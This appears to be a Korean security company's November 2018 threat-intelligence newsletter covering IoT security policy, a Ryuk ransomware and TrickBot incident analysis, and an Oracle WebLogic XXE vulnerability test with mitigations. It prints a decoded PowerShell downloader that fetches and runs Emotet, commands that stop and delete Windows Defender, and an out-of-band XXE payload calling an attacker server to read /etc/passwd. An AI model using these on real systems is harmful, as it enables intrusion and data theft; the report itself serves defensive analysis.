Threat Intelligence Report INSIGHT 2018 11 EQST(이큐스트)는 Experts, Qualified Security Team 이라는 뜻으로 사이버 위협 분석 및 연구 분야에서 검증된 최고 수준의 보안 전문가 그룹입니다.
Contents EQST insight IoT 보안은선택이아닌필수 1 Special Report 류크 (Ryuk) 랜섬웨어 & 트릭봇 (Trick Bot) 4 Research & Technique 오라클웹로직서버 (Oracle WebLogic Server) 에서발견된 XXE 인젝션취약점 32 Keyword & Issue 급증하는이모텟악성코드와새롭게발견된취약점 40
EQST insight IoT 보안은선택이아닌필수 사물인터넷 (Internet of Things, IoT) 은사물, 사람, 공간등모든것이인터넷으로연결되어정보를공유하고생성, 활용하는개념을말한다. 쉽게말해, 사물간정보교환을의미하는것으로기존 M2M(Machine to Machine) 의확 장그리고과거유비쿼터스컴퓨팅의고도화라볼수있다. ( 단위 : 조원 ) 22.9 CAGR 29.1% 8.2 6.4 4.9 2.3 2.9 3.8 10.6 13.7 17.7 2013 2014 2015 2016 2017 2018 2019 2020 2021 2022 [ 국내사물인터넷시장규모전망 ( 출처 = 미래부 )] EQST insight 1
국내사물인터넷 (Internet of Things) 시장은매년성장하고있으며, 2022년에는약 23조규모에달할것으로전망되고있다. 시장규모의증가에비례하여 IoT Device의규모도증가하고있으며, 이에따른해킹시도및침해사고역시매년증가하고있는추세이다. CCTV해킹을이용한사생활정보노출, 악성코드를 IoT Device에감염시켜 Mirai Botnet, Satori Botnet을만들어 DDoS 공격을하거나악용하는사례도빈번하게발생하고있다. 이에따라국내외에서제도적논의와표준화방안및대책이필요한상황이다. 2013 년 2014 년 4 6 2015 년 130 2016 년 362 0 50 100 150 200 250 300 350 400 [IoT 취약점신고추이 ( 13~ 16 년 ) ( 출처 = KISA)] 현재국내에서는 KISA( 한국인터넷진흥원 ) 이 IoT 공통보안원칙, IoT 공통보안가이드, 홈ㆍ가전 IoT 보안가이드등을제공하고있다. 제도적으로는 IoT 보안인증서비스를자율인증및무료로운용중이다. 이제도는사물인터넷제품및연동모바일앱을대상으로일정수준의보안요건을갖추었는지시험하고, 충족시인증서를발급해주는제도이다. 국민의실생활과밀접한 IoT 제품에대한보안내재화를통하여안정성을확보하려는데그목적이있다. 하지만실제기기를생산하는영세기업의경우인증및보안을위한예산이나인력이부족한상태이다. 그러다보니제도가있음에도불구하고제대로활성화되지못하고있는현실이다. 또한, 인증대상이기기와모바일앱으로한정되어 연계어플리케이션 ( 서비스 ), 다양한프로토콜, 기기보안하드웨어 / 소프트웨어개발지침, 기기업데이트관리서버 등에대한보안검증은미흡하다. 해외의경우를살펴보면, 미국은 CTIA( 미국이동통신산업협회 ) 에서 IoT 사이버보안인증프로그램 을시행하고있다. CTIA IoT는 IoT 기기의보안설계및셀룰러연결기능을증명하고자고안된테스팅프로그램으로, 미국상무부 NTIA( 통신정보관리청 ) 및미국 NIST( 국립표준기술연구소 ) 의 IoT 보안권장사항을기반으로한다. EU는 eprivacy Regulation 에서 IoT eprivacy Regulation 을적용해 IoT 기기제조업체가설계초기부터개인정보방안을구축할수있도록좀더엄격한요구사항을적용할예정이다. 민간기업차원에서의노력도진행되고있다. GSM 협회에서는 GSMA IoT 보안지침및보안평가 를제공하고 있다. Verizon 산하의 ICSA Labs 에서는 IoT Security & Privacy 테스트및인증제도를운용중이다. 이처럼해외 에서는현재 IoT 보안을위한표준화및제도적장치를마련하기위해여러형태로논의가진행중이다. EQST insight 2
IoT 산업의발전을위해서는보안이선행적으로반영되어야하며모두의노력이필요한때이다. IoT 를통해우리 의삶을편리하고풍요롭게만들수있지만, 보안이담보되지않을경우악의적인해커와집단의더좋은먹잇감으 로전락할수있기때문이다. 이에미국국토안보부 (Department of Homeland Security) 에서는 IoT 안전을위한전략적원칙을세우고있으며, 그원칙은다음과같다. 1 2 3 4 IoT 개발자는기기, 센서, 서비스또는 IoT의모든구성요소를설계 / 개발할때보안을고려한다. IoT 제조업체는소비자기기와개발업체관리기기모두에대한보안을향상시킨다. IoT 기기를통해서비스를구현하는서비스공급업체는해당 IoT 기기가제공하는보안기능은물론, 이서비스가사용하는인프라의기본보안도고려한다. IoT 기기를사용하는정부와핵심인프라스트럭처소유자, 그리고운용자를포함한산업과기업들의수장은제조업체와서비스제공업체에 IoT 기기보안을요구한다. 우리정부기관에서도전략적원칙을세우고 IoT 사업과관련된기관, 기업들이적극적으로참여할수있는방안과 제도를마련하여야한다. 또한, 제도가만들어져도자발적준수가어려운현상황을해결하기위해소비자와기업 들역시지속적으로보안요구활동을해야한다. IoT 보안을위해서는 IoT 기기제조업체, 서비스제공업체, 개발자, 사용자, 정부기관등모두의노력이절실한상 황이다. IoT 보안에대한필요성을공감하고, 제도적마련과안착을위해함께노력해야만 연결된모든것 인 IoT 를우리삶에보다긍정적인방향으로반영시킬수있을것이다. EQST insight 3
Special Report 류크 (Ryuk) 랜섬웨어 & 트릭봇 (Trick Bot) - 타깃형 (APT) 랜섬웨어와트릭봇의조합 류크 (Ryuk) 랜섬웨어의등장 류크랜섬웨어는 2018년 8월중순부터미국을포함한전세계에서 2주간 64만달러 ( 한화약 7억원 ) 를탈취한전력이있는랜섬웨어이다. 북한의해커조직으로추정되는라자루스 (Lazarus) 와연관되어있으며, 주로지능형표적공격 (APT:Advanced Persistent Threat) 을통해특정조직및기업을대상으로유포하는특징이있다. 또한, 헤르메스 (Hermes) 랜섬웨어와유사한코드부분이존재한다. 트릭봇 (Trick Bot) 이란? 트릭봇이란좀비 PC와같은봇의일종으로핵심역할을하는코어 (Core) 봇과서브 (Sub) 봇으로나뉜다. 코어봇은내부전파기능의역할을담당하며, 서브봇은정보유출기능을수행한다. 또한, 감염과동시에주기적으로공격자의악성코드저장소 (Malware Repository) 서버로접속하여, 내부버전이업데이트된트릭봇을갱신하기때문에서브봇이코어봇으로변경될수도있다. 막강한전파기능과더불어가상화폐를요구하는랜섬웨어가악성코드를대량으로유포할수있기때문에주의가요구된다. EQST insight 4
어떻게감염되는가? 트릭봇은대부분피싱메일에서부터시작한다. 피싱메일내첨부된워드문서와같은파일에 Visual Basic 매크로를활성화하면파워쉘이동작하여이모텟 (Emotet) 악성코드를내려받는다. 이모텟악성코드는금융정보를탈취하는뱅킹트로이목마 (Banking Trojan) 의일종으로, 금융정보뿐아니라각종정보를수집하거나 2차악성코드를내려받는트로이목마역할을하기도한다. 이모텟악성코드에감염된 PC는공격자의악성코드저장소로접근하여트릭봇을내려받고이를수행한다. 해외감염사례 지난 10월, 미국노스캐롤라이나온슬로상하수도청 (ONWASA) 에서트릭봇을이용한류크 (Ryuk) 랜섬웨어유포가있었다. 이모텟악성코드로시작하여 2차페이로드로트릭봇을내려받아전파된사례이다. 내부 IT 담당자가감염과동시에시스템을오프라인으로만드는조치를취했지만, 이미감염이진행되어일부데이터베이스및파일이암호화되었다. 사고사례 E 社 1. 공격개요및흐름도 Emotet & TrickBot Malware Diagram Information Stealer Phishing Mail *Emotet Download Server *TrickBot Download Server Malformed Malware Windows Defender OFF Inject module Public IP Check renewal Svchost.exe Process Information System Information Network Information Credential Information Banking Information Invoice.doc Emotet.exe Trickbot.exe (executor) *Information Stealer Server * Emotet Download Server List http://www.m****p.com/l6gpe/ http://www.t****e.es/ce45to3/ http://www.e****s.com.br/8tr1wp/ http://www.f****c.co.uk/gojxqkw/ http://www.f****x.by/mjhgzfh/ http://www.r****g.com/yeem7e4l http://www.x****i.com/wordpress/llc/us_us/vygph8f http://i****a.com/c44cb8ub http://b****n.nl/4ebgmr8 http://www.j****a.com/1g1avktdu9 * Information Stealer Server List 2*.***.***.*5:80 9*.***.***.*4:8082 6.*.***.***.*2:8082 4.*.***.***.*8:8082 7.*.***.***.*3:8082 1.*.***.***.*2:8082 3.*.***.***.*0:80 1*.***.***.*8:80 5*.***.***.*7:80 2*.***.***.*7:80 1*.***.***.*8:80 5*.***.***.*2:443 1*.***.***.*7:443 2*.***.***.*6:443 8*.***.***.*8:443 5*.***.***.*6:443 * TrickBot Download Server List 1*.***.***.*1/radiance.png 1*.***.***.*1/table.png 1*.***.***.*1/worming.png Trickbot.exe (spreader) --url "xxx.com/ryuk.exe" Propagation & Ransomware ARP(C-class) Scanning & AD Credential Login Ryuk Ransomware Server Share Folder [SMB] (C$, IPC$, ADMIN$) Trickbot.exe (executor) Ryuk.exe [ 전체공격흐름도 ] EQST insight 5
공격자는피싱메일을이용하여송장으로가장한워드문서를 E 社에배포했다. 워드문서내에파워쉘을이용해다 수의이모텟다운로드서버중한개로접근하여악성코드를내려받은후, 트릭봇다운로드서버에접근하여악 성코드를내려받았다. 트릭봇은실행부인 Executor 와전파부인 Spreader 로나눠져각역할을수행한다. 특히 Executor 는개인및금융 정보탈취에초점이맞춰져있는반면, Spreader 는내부스캐닝및공유폴더에접근하여특정악성코드를배포한 다. 또한, Spreader 는 Executor 기능을포함한다. Spreader 와 Executor 는트릭봇다운로드서버에주기적으로접근하여, 악성코드를내려받고실행한다. 이과정에 서공격자는스케줄러로특정시간을부여하며, 악성코드저장소에이전에내려받은파일과동일한이름을가진 Spreader 또는 Executor 가갱신된다. 2. 랜섬웨어전파흐름도 Ryuk Ransomware Diagram 12 19/09:50:59 [admin] 1004.exe 19/09:51:06 [admin] PPPPP.exe 19/09:03:01 XXXXX.exe [ 백신탐지 ] 19/08:45:05 EEEEE.exe 19/08:40:28 PPPPP.exe 19/08:15:15 MMMMM.exe 19/08:14:13 GGGGG.exe 19/08:11:06 MMMMM.exe AAAAA.exe 19/09:02:41 1004.exe 19/08:44:54 1004.exe 19/08:40:22 1004.exe 19/08:15:05 1004.exe 19/08:14:03 1004.exe 19/08:11:01 1004.exe 1*.***.***.*7 server00 ( 랜섬감염 ) 1*.***.***.*4 server15 ( 랜섬미감염 ) 1*.***.***.*6 server14 ( 랜섬감염 ) 1*.***.***.*4 server13 ( 랜섬감염 ) 1*.***.***.*2 server12 ( 랜섬감염 ) 1*.***.***.*2 server11 ( 랜섬감염 ) 1*.***.***.*2 server10 ( 랜섬감염 ) [admin] 19/08:49:14 [admin] 19/08:41:42 접근로그 x 접근로그 x 접근로그 x [admin] 19/08:08:10 Trick-Bot Network 11 10 9 1 2 3 4 5 6 7 8 [admin] 19/07:32:26 [admin] 19/07:42:18 [admin] 19/07:47:29 [admin] 19/07:47:33 [admin] 19/07:49:47 [admin] 19/08:49:43 [admin] 19/07:53:20 [admin] 19/08:08:25 1*.***.***.*4 server01 ( 랜섬감염 ) 1*.***.***.*9 server02 ( 랜섬감염 ) 1*.***.***.*8 server03 ( 랜섬감염 ) 1*.***.***.*7 server04 ( 랜섬감염 ) 1*.***.***.*0 server05 ( 랜섬감염 ) 1*.***.***.*1 server06 ( 랜섬감염 ) 1*.***.***.*0 server07 ( 랜섬감염 ) 1*.***.***.*9 server08 ( 랜섬감염 ) 19/07:36:17 1004.exe 19/07:45:08 1004.exe 19/07:48:25 1004.exe 19/07:48:33 1004.exe 19/07:50:41 1004.exe 19/07:50:43 1004.exe 19/07:53:49 1004.exe 19/08:10:43 1004.exe 19/07:36:29 AAAAA.exe 19/07:45:17 OOOOO.exe IIIII.exe 19/08:48:32 BBBBB.exe 19/07:48:38 CCCCC.exe 19/07:50:47 PPPPP.exe 19/07:50:48 CCCCC.exe VVVVV.exe 19/07:50:47 IIIII.exe 19/08:10:49 DDDDD.exe 순서 : 1004.exe(Ryuk Ransomware Dropper) 생성기준 [ 랜섬웨어전파과정 ] 트릭봇네트워크는계정탈취와동시에 SMB 프로토콜을이용하여, N:N 형태로전파된다. 이중트릭봇에감염 된관리서버에서 1:N 형태의내부동일대역으로랜섬웨어를전파한뒤, 스스로를감염시키는행위를한다. 이는 Executor 방식이아닌 Spreader 형태의업데이트된모듈을갱신받아악성행위를한다. EQST insight 6
3. 사례분석 ( 관리서버 ) E 社의경우내부에존재하는다수의서버에류크랜섬웨어가유입되었고, 유입되기이전백신로그에서이모텟및 트릭봇과관련된로그가존재했다. [ 트릭봇생성 ] Windows 경로하위에트릭봇 (lgwgf4lrucfcaa_vo6bqb08eo1nja1f4d_h2dnradrkw11hvguuphvk 7sg7rwb.exe) 이 생성된다. [ 작업스케줄러등록 ] 생성된트릭봇은작업스케줄러 Msnetcs 서비스이름으로등록된다. 등록내용은 10 분주기로해당트릭봇을 실행한다. [ 로그인시도 ] 트릭봇의 SMB 프로토콜을이용한전파를수행하기위해, 계정정보를수집하고이를통해로그인을시도한다. EQST insight 7
[Download 및시작프로그램등록 ] 앞서트릭봇감염 10 분후, 44893m9uh88g9l9_nkubyhu6vfxxbh989xo7hlttkppzf29ttdu6kwppk_11c1jl.exe 이름 을가진트릭봇을내려받고바로가기링크 (.lnk) 를생성한뒤, 이를시작프로그램에등록한다. [mttvca.exe] 트릭봇은주기적으로다운로드서버에접근하고갱신된트릭봇을 %APPDATA% 하위에 VsCard 폴더를생성 하여내려받는다. [%APPDATA%VsCard] 트릭봇은각계정별로 %APPDATA%VsCard 에복제되고, 바로가기에등록된다. [ 로그온성공로그 ] 실행된트릭봇들은각계정별로그인을시도한다. EQST insight 8
[ 로그인시도 ] [ 랜섬웨어감염 ( 랜섬노트생성 )] 로그인성공이후특정시간에랜섬웨어를유포하여해당 PC 를감염시킨다. 피싱첨부파일분석 [ 랜섬웨어감염 ( 랜섬노트생성 )] 피싱메일은송장 (Invoice) 과관련된내용을포함하고있으며, 워드문서를첨부한다. EQST insight 9
[ 첨부문서 ] 피싱메일에첨부된워드문서를열면, 위그림과같이매크로기능의활성화여부에대한메시지가나타나며활성 화버튼을누르면내부에존재하는파워쉘이실행된다. [VB 매크로 ] 첨부문서내포함된파워쉘은 VB 매크로로구성되어있으며, 해당코드는난독화되어있다. 주로문자열난독화, 문자열결합및복호화함수로구성된다. EQST insight 10
powershell $CCF=new-object Net.WebClient; // WEB CLIENT 오브젝트생성 $FRD= http://www.m****p.com/i6gpe@http://www.t****e.es/ce45to3@http://www.e****s.com.br/8tr1wp@ http://www.f****c.co.uk/gojxqkw@http://www.f****x.by/mjhgzfh.split( @ ); // SiteList(split @ ) $MVV = 635 ; // 악성파일명 $dma=$env:public+ \ +$MVV+.exe ; // 환경변수 Public 내 635.exe 이름으로경로설정 foreach($qda in $FRD) // $FRD(SiteList) 변수의 URL 한개를탐색하여 $qda에대입 { try { $CCF.DownloadFile($qda, $dma); // SiteURL 내용을 Public\635.exe로다운로드 Invoke-Item $dma; break; } catch{} } [ 복호화된파워쉘코드 ] 복호화된파워쉘은또다른악성코드 ( 이모텟 ) 를내려받기위해웹클라이언트오브젝트를생성한다. 이후악성코드를내려받을수있는특정웹사이트들을리스트형으로만들어, 지정된이름으로이모텟악성코드를내려받는다. 웹사이트리스트들은첨부된워드문서마다다르게변형되어유포되지만, 코드구조는위와동일하다. 또한, 이모텟악성코드는 2차적으로페이로드를이용하여트릭봇을내려받는다. EQST insight 11
트릭봇분석 샘플요약 항목 내용 파일명 radiance.png MD5 AE6**********10CB 운영체제 Windows 샘플분류 Malware 샘플종류 Trojan.TrickBot 컴파일타임 2018-10-18 09:44:19 AV 진단명 Trojan/TrickBot 해시정보 해시항목 해시값 MD5 ae6********0cb SHA-1 8fc********def SHA-256 99e********a84 SSDEEP 61*******GA 난독화정보 난독화 내용 내부난독화 특정모듈호출시데이터난독화 EQST insight 12
분석내용요약 전파기능 X 전파취약점 전파 IP 대역 - - 주요악성행위 커맨드쉘 (cmd.exe) 을이용한 WinDefender 서비스중지및제거파워쉘 (powershell) 을이용한 WinDefender 서비스정지활성화악성코드복제본을생성하여레지스트리및스케줄러등록공인 IP 주소지속적확인프로세스, 시스템, 네트워크및금융정보탈취 주요네트워크 통신및 C&C 정보 W****p.com/text(1*.***.***.*6) C****p.a****.com/(5*.***.***.*4) M****p.com/raw(7*.***.***.*2) I****p.io/ip(2*.***.***.*1) I****o.net/plain(2*.***.***.*1) I****c.net/p***/clientip(3*.***.***.*8) 1*.***.***.*1/radiance.png 1*.***.***.*1/table.png 1*.***.***.*1/worming.png 2*.***.***.*5/tot335/[ 개인정보 ] 분석내용요약 해당악성코드는윈도우커맨드및파워쉘을이용하여 Windows Defender 서비스를정지및제거한다. 지속성을위해악성코드복제본을생성하여레지스트리및스케줄러에등록하며, 감염대상의공인 IP 주소를알기위해위네트워크주소에지속적으로접근한다. 이후복제본을실행하게되면특정 URL 에접근하여악성코드를내려받거나, C&C 서버로로컬 PC 정보를탈취한다. EQST insight 13
악성코드행위분석 행위 내용 파일변화 [ 파일변화 ] [settings.ini] EQST insight 14
행위 내용 파일변화 [ 스케줄러 (Msnetcs)] [ 악성코드복제본실행 ] EQST insight 15
행위 내용 파일변화 [ 특정모듈생성 ] 해당악성코드는 %APPDATA% 하위에악성코드복사및수정이이루어지며, 그외윈도우디펜더중지와 관련된행위를한다. 또한, %system% 하위의스케줄러폴더 (Tasks) 에스케줄을생성한다. 파일복사 ( mttvca.exe ) mssvca.exe 에서 %APPDATA% 하위복사 파일생성 ( settings(dspellcheck).ini ) 난독화파일 ( 페이크파일 ) 스케줄러생성 ( Msnetcs.job ) : 10분간격으로해당악성코드실행 VsCard 폴더내복제본실행 : 악성코드재다운로드및로컬정보전송 특정모듈생성 : 인젝션모듈 ( 네트워크정보탈취, 웹인젝터, 금융정보탈취, 공유, 프로세스정보탈취, 시스템정보탈취 ) EQST insight 16
행위 내용 프로세스변화 [ 명령어실행 ] 윈도우디펜더 (Windows Defender) 서비스종료및삭제 파워쉘을이용하여윈도우디펜더종료 [ 레지스트리삭제 (Win Defender)] 레지스트리변화 [ 키삭제경로 ] NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows Defender HKLM\SYSTEM\ControlSet001\services\WinDefend HKLM\SYSTEM\CurrentControlSet\services\WinDefend [ 키추가 ] HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\ TaskCache\Tree\Msnetcs EQST insight 17
네트워크행위분석 행위 내용 패킷내용 [ 네트워크패킷 ( 공인 IP 조회 )] [ 네트워크패킷 ( 악성코드다운로드 / 정보탈취 )] EQST insight 18
행위 내용 [ 프로세스정보탈취 ] 패킷내용 [ 시스템정보탈취 ] EQST insight 19
행위 내용 패킷내용 [ 네트워크정보탈취 ] 지속적공인 IP 조회 악성코드재다운로드 개인및금융정보탈취 C2 정보 1*.***.***.*6, 5*.***.***.*4, 7*.***.***.*2, 2*.***.***.*1, 2*.***.***.*1, 3*.***.***.*8, 5*.***.***.*1, 4*.***.***.*5, 1*.***.***.*5, 1*.***.***.*2, 1*.***.***.*1, 2*.***.***.*5 EQST insight 20
모듈정보분석 암호화된다수의모듈중일부복호화된모듈에대해설명한다. [DLLInject Module] DLLInject 모듈은 Chrome 의로그인및웹 DB 등에패스워드및사용자이름을질의하여, 사용자계정및패스워드 를탈취한다. [dinj Module] dinj 모듈은앞서분석된 Dllinject 모듈이실행될때동적으로변경되는설정파일이며, 주로로그인및금융과관련 된 URL 페이지가포함된다. Chrome.exe 를후킹하고, 특정확장자 (*.js, *.css, *.ico 등 ) 를제외한나머지에대한데 이터를저장한다. EQST insight 21
[sinj Module] sinj 모듈은정적으로변경되는설정파일이며, dinj 모듈과마찬가지로금융과관련된 URL 페이지가나타난다. [dpost Module] dpost 모듈은트릭봇의정보를탈취하는 C2(Command & Control) 서버리스트를나타낸다. EQST insight 22
[NetworkDll Module] NetworkDll 모듈은커맨드쉘을이용하여 ipconfig, net, nltest 명령어를수행하며, 로컬 PC 의사설 IP 및 AD(Active Directory) 리스트및정보를확인한다. 그리고 dpost 에등록된수집서버로데이터를전송한다. [ShareDll Module] ShareDll 모듈은공유폴더접근및트릭봇생성과관련된정보를제공한다. 트릭봇다운로드서버인 9*.***.***.**1/radiance.png 에접근하여악성코드를내려받고, 이를공유폴더 (C$, IPC$, ADMIN$) 에 msscva.exe 이름으로복사한다. EQST insight 23
주요디버깅정보 [WinDefend 서비스정지 ] 파워쉘또는커맨드쉘을이용하여윈도우디펜더서비스실행중지및제거를수행한다. 해당명령은아래와같다. cmd.exe /c sc stop WinDefend cmd.exe /c sc delete WinDefend cmd.exe /c powershell Set-MpPreference DisableRealtimeMonitoring $true [ 디펜더서비스실행중지및제거 ] [ 파일복제 (%APPDATA)] 원본위치에있는트릭봇을실행하면, %appdata% 하위경로에 VsCard 폴더를생성하고악성코드를복제한다. 복사된악성코드는기존의악성코드이름의일부를바꾸고, 주요악성행위를수행한다. EQST insight 24
[ 코드인젝션 (svchost.exe)] 트릭봇은 svchost.exe 에주요악성행위를하는모듈 ( 스케줄링, 특정 URL 및접속, 정보탈취등 ) 을해당프로세스 에주입한다. [ 스케줄링등록 (tasks)] 복제된파일의경로를이용하여스케줄작업에등록한다. EQST insight 25
[ 악성코드스케줄러등록 ] 10 분주기로해당악성코드를실행한다. [ 공인 IP 확인 ] IP 주소를확인할수있는페이지로현재로컬 PC 의공인 IP 주소를확인한다. [ 정보탈취문자열생성 ] 개인정보탈취를위해현재시스템의 Hostname 및난수를생성한다. EQST insight 26
[ 메모리데이터 ] 난독화된모듈을디코딩후메모리에서데이터를확인한결과, C2 서버리스트및플러그인 IP 정보와특정모듈 (systeminfo, injectdll, pwgrab) 관련정보가존재하였다. 이처럼모듈에서생성된데이터는공격자의 C2 서버로전 달된다. EQST insight 27
[ 특정모듈통신 ] 특정모듈과연결된 C2 IP 주소를선택하여연결을시도한다. [ 특정모듈시작 ] [ 패킷전송 ] 모듈시작과동시에특정 IP 와통신을시도한다. 메모리내에서생성된문자열을분석한결과현재시스템의 OS, Service Pack Version, Adaptor 정보, 공인 IP 등의정보가 C&C 서버로전송된다. EQST insight 28
[ 탈취정보 (parameter)] 모듈시작과동시에특정 IP 와통신을시도한다. 메모리내에서생성된문자열을분석한결과현재시스템의 OS, Service Pack Version, Adaptor 정보, 공인 IP 등의정보가 C&C 서버로전송된다. [ 탈취정보 (Body)] TTPs 및공격정보분석 TTPS(Tactics, Techniques and Procedures) Tactics 트릭봇감염및파일암호화 Technics SMB 프로토콜을이용한공유폴더전파및랜섬웨어유포 Procedures 1 피싱메일내 VB 매크로를이용한파워쉘실행 2 이모텟다운로드및실행 3 트릭봇다운로드및실행 4 작업스케줄러등록 5 트릭봇재갱신및실행 6 관리서버랜섬웨어전파 EQST insight 29
C2 서버주소정보 IP 국가 1*.***.***.**1 미국 2*.***.***.**5 미국 9*.***.***.**4 미국 6*.***.***.**2 호주 4*.***.***.**8 러시아 7*.***.***.**3 러시아 1*.***.***.**2 미국 3*.***.***.**0 러시아 1*.***.***.**8 브라질 5*.***.***.**7 러시아 2*.***.***.**7 미국 1*.***.***.**8 브라질 5*.***.***.**2 러시아 1*.***.***.**7 미국 2*.***.***.**6 미국 공격자정보 e-mail 주소 Far******k@p******.com Far******k@t******.com EQST insight 30
대응방안 구분 대응방안 User Level 안전한계정패스워드설정 불필요한공유폴더사용금지 출처가불분명한메일열람및링크클릭금지 확인되지않은사이트접속금지 Application Level 백신최신업데이트및주기적인정밀검사 주요데이터주기적백업 PowerShell 비활성화 VBS 비활성화 OS Level 중요서버최소권한설정 OS 최신업데이트및패치 서버접근제어사용 Network Level 악성코드전파를예방하기위해 135/139/445 PORT 포트차단 중요서버 Zone 분리 네트워크접근제어사용 C2 서버차단 내부망분리 랜섬웨어감염시조치사항 구분 대응방안 Ransom Removal 악성프로세스, 파일, 레지스트리제거 Backup Recovery 백업파일이있다면감염파일복구 Tool Recovery 해당랜섬웨어에대해공개된복구툴이있는지확인 EQST insight 31
Research & Technique 오라클웹로직서버 (Oracle WebLogic Server) 에서발견된 XXE 인젝션취약점 취약점개요 Oracle에서서비스하는 Java EE 기반의웹애플리케이션서버 (Web Application Server, WAS) 인웹로직에서 XXE 인젝션취약점 (CVE-2018-3246) 이발견되었다. 웹로직은미들웨어로애플리케이션복구, 스레드 (Thread) 관리, 부하조절등의기능으로안정적서비스를제공한다. 뿐만아니라, DB 접속과트랜잭션을처리하는등 DB 성능을보장하는기능을수행한다. 이러한웹서버에존재하는취약점을악용하면, 권한없는공격자가시스템의계정관련정보, DB 정보등의중요데이터를탈취하여공격에활용할수있다. 웹로직 XXE 취약점의테스트과정과취약점이발생하는원인에대해살펴보고자한다. EQST insight 32
취약점설명 XXE(XML External Entity) 인젝션취약점을테스트하기에앞서, 간략하게취약점에대해설명하고자한다. XXE 인젝션이란취약한 XML parser( 파서 ) 가외부엔티티를참조하는 XML 값을처리할때, 공격자가삽입한공격구문이실행되어서버파일접근혹은서비스거부등이발생하는취약점이다. XXE는 DTD(Document Type Definition) 의 <ENTITY> 요소에선언하여사용할수있다. 기본적인 XXE 는 XML 요청결과를서버측에서출력해주지만, 그렇지않을경우엔티티결과를공격자서버로전 송하는 Out-of-band 방식을사용한다. 아래그림은 Out-of-band 방식을설명하고있으며, 이방식을활용하여 XXE 취약점을테스트하였다. 1 공격자는외부 DTD( 공격자서버에위치함 ) 를호출하는구문을서버에요청한다. 2, 3 공격자서버에있는 DTD 파일을불러온다. 4 희생자서버에서외부 DTD 파일을포함하여 XML에대한파싱이진행된다. 5 처리된데이터가애플리케이션을통해공격자에게전송된다. Attacker 1 3 XML request Get the DTD Information 2 5 Server 4 Attacker's server [Out-of-band 방식 ] EQST insight 33
영향받는소프트웨어버전 S/W 구분 취약버전 Oracle WebLogic Server 12.1.3.0 12.2.1.3 테스트환경구성정보 역할구분 정보 공격자 Windows10 희생자 Ubuntu 64-bit / Java version: 1.7.0_80 / WebLogic 12.1.3.0 취약점테스트 Step 1. 취약점테스트를위한환경구축 Ubuntu 운영체제에웹로직 v12.1.3.0을설치한후, 웹로직실행파일인 startweblogic.sh 을실행시켜웹로직이구동되도록한다. 디폴트값으로설정하여웹로직을설치했을경우, 실행파일이존재하는경로는아래와같다. 웹로직실행파일경로 : ~/Oracle/Middleware/Oracle_Home/user_projects/domains/base_domain [ 웹로직실행경로 ] EQST insight 34
http:// 희생자 IP:7001/console 에접근하여관리자콘솔을확인함으로써, 정상적으로웹로직이구동되고있음을 알수있다. [ 웹로직서버관리콘솔 ] XXE 인젝션취약점이존재하는주소 http:// 희생자 IP:7001/ws_utc/begin.do 에접근한후, 테스트케이스로임의 의파일을등록한다. 테스트에서는파일명 upload.xml 을업로드 (Import) 하였다. [ 임의의파일등록 ] EQST insight 35
Step 2. PoC 테스트 사용자관련정보파일 (/etc/passwd) 을불러온후출력해주는외부엔티티 20183246.dtd 를공격자서버에올려놓 고, 이를희생자의내부엔티티에서불러오도록하는 PoC 코드를실행하였다. XXE 인젝션 PoC 코드 <!DOCTYPE root [<!ENTITY % remote SYSTEM http:// 공격자서버 IP/20183246.dtd > %remote; %intern; %xxe; ]> 20183246.dtd 내용 <!ENTITY % cmd SYSTEM file:///etc/passwd > <!ENTITY % intern <!ENTITY % xxe SYSTEM?%cmd; > > 아래그림은 PoC 실행결과를보여준다. 서버응답내사용자가요청한 /etc/passwd 내용이존재하며, 이를통해 공격자는서버의사용자관련정보를획득할수있다. [PoC 실행결과 ] EQST insight 36
취약점상세분석 해당취약점이발생하는위치를확인하기위해, 서버요청시임의의값을넣어오류를발생시켰다. [ 취약점발생위치확인 ] 취약점이존재하는테스트클라이언트페이지에대한처리는 ws-testpage-impl.jar 파일에서이루어진다. 공격 자에의해업로드된파일은 AbstractAction.class 에서정의한 ActionData 에저장된후, ImportTestCaseAction 함수 를실행한다. [ImportTestCaseAction 함수호출 ] EQST insight 37
ImportTestCaseAction() process() execute() 순으로함수가실행되면서업로드한파일에대한파싱을진행한 다. execute() 함수에서취약점테스트시삽입한공격 XML 구문이객체로변환 ( 언마샬링 ) 되는데, 이때 XML 을 검증하지않고처리하여취약점이발생하는것이다. [ 언마샬링시취약점발생 ] EQST insight 38
공격시나리오 웹로직에존재하는 XXE 인젝션취약점을악용해내부시스템침투및중요정보탈취하는시나리오는다음과같다. 취약한웹페이지 웹서버 취약점탐색 WWW 공격자 1 2 4 CVE-2018-3246 3 서버주요정보탈취정보활용재공격수행 중요정보탈취 데이터베이스 5 [ 공격시나리오 ] 1 공격자가운영중인사이트의특정페이지에서위험도가높은신규취약점을발견함 2 취약한페이지에서악의적인 XXE 요청을시도함 3 공격을통해웹서버내의주요정보 ( 시스템설정파일, 소스코드 ) 들을습득함 4 획득한정보를통해서버에대한공격을재수행함 5 공격에성공하여연동된시스템에접근하거나중요정보를탈취함 대응방안 Oracle 에서발표한정기보안패치를적용하여, WebLogic 최신버전으로업데이트한다. 또한이와별개로취약점 에영향을받는 7001 번포트에대해승인된관리자혹은시스템에서만접근할수있도록적절한접근통제를해야 한다. Oracle 보안패치 : https://www.oracle.com/technetwork/security-advisory/cpuoct2018-4428296.html EQST insight 39
Keyword & Issue 급증하는이모텟악성코드와새롭게발견된취약점 [ 랜섬웨어 (Ransomware), 멀웨어 (Malware), 사이버범죄 (CyberCrime), 피싱 (Phishing), 이모텟 (Emotet), 비트코인 (BTC)] EQST는 Secudium Intelligence를통해 SNS 상에서가장많이언급되고있는해시태그를분석하여, 최근이슈가되고있는보안키워드를추출하였다. 추출된주요키워드는 랜섬웨어 (Ransomware), 악성코드 (Malware), 사이버범죄 (CyberCrime), 피싱 (Phishing), 이모텟 (Emotet), 비트코인 (BTC) 이다. 특히 피싱 (Phishing), 이모텟 (Emotet) 은지난달대비자주언급되고있는키워드이다. 주요보안키워드를통해 11월의보안동향을살펴보고자한다. EQST insight 40
